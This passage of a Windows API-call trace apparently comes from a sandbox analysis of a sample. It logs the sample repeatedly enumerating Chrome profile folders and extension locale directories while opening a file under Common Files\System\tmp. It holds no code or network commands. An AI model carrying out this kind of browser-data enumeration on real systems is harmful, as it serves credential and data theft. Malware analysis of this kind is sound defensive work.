files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0145.577] GetFileType (hFile=0x184) returned 0x1 [0145.577] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80916060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80916060, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd5, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0145.579] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0145.579] GetLastError () returned 0x12 [0145.579] AreFileApisANSI () returned 1 [0145.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0145.579] GetFileType (hFile=0x184) returned 0x1 [0145.579] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82bed750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82bed750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0145.580] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0145.581] GetLastError () returned 0x12 [0145.581] AreFileApisANSI () returned 1 [0145.581] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.581] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0145.581] GetFileType (hFile=0x184) returned 0x1 [0145.581] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extension State\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82556720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0145.582] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0145.583] GetLastError () returned 0x12 [0145.583] AreFileApisANSI () returned 1 [0145.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.583] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0145.583] GetFileType (hFile=0x184) returned 0x1 [0145.583] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0145.583] AreFileApisANSI () returned 1 [0145.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.583] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0145.583] GetFileType (hFile=0x188) returned 0x1 [0145.583] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85cca3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cf0550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cf0550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xab, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0145.619] AreFileApisANSI () returned 1 [0145.619] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.619] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0145.619] GetFileType (hFile=0x18c) returned 0x1 [0145.619] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0145.619] AreFileApisANSI () returned 1 [0145.619] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.619] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0145.620] GetFileType (hFile=0x190) returned 0x1 [0145.620] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0145.621] AreFileApisANSI () returned 1 [0145.621] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.621] GetFileType (hFile=0x194) returned 0x1 [0145.621] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857953d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857953d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.621] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.621] GetLastError () returned 0x12 [0145.621] AreFileApisANSI () returned 1 [0145.621] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.621] GetFileType (hFile=0x194) returned 0x1 [0145.622] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.622] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.622] GetLastError () returned 0x12 [0145.622] AreFileApisANSI () returned 1 [0145.622] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.622] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.622] GetFileType (hFile=0x194) returned 0x1 [0145.622] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.623] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.623] GetLastError () returned 0x12 [0145.623] AreFileApisANSI () returned 1 [0145.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.623] GetFileType (hFile=0x194) returned 0x1 [0145.623] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.623] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.623] GetLastError () returned 0x12 [0145.623] AreFileApisANSI () returned 1 [0145.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.624] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.624] GetFileType (hFile=0x194) returned 0x1 [0145.624] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.624] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.624] GetLastError () returned 0x12 [0145.624] AreFileApisANSI () returned 1 [0145.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.624] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.624] GetFileType (hFile=0x194) returned 0x1 [0145.624] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.625] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.625] GetLastError () returned 0x12 [0145.625] AreFileApisANSI () returned 1 [0145.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.625] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.625] GetFileType (hFile=0x194) returned 0x1 [0145.625] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.625] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.625] GetLastError () returned 0x12 [0145.625] AreFileApisANSI () returned 1 [0145.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.626] GetFileType (hFile=0x194) returned 0x1 [0145.626] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857e1690, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.626] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.626] GetLastError () returned 0x12 [0145.626] AreFileApisANSI () returned 1 [0145.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.626] GetFileType (hFile=0x194) returned 0x1 [0145.626] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.627] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.627] GetLastError () returned 0x12 [0145.627] AreFileApisANSI () returned 1 [0145.627] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.627] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.627] GetFileType (hFile=0x194) returned 0x1 [0145.627] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.627] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.628] GetLastError () returned 0x12 [0145.628] AreFileApisANSI () returned 1 [0145.628] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.628] GetFileType (hFile=0x194) returned 0x1 [0145.628] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.628] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.628] GetLastError () returned 0x12 [0145.628] AreFileApisANSI () returned 1 [0145.628] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.628] GetFileType (hFile=0x194) returned 0x1 [0145.629] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, 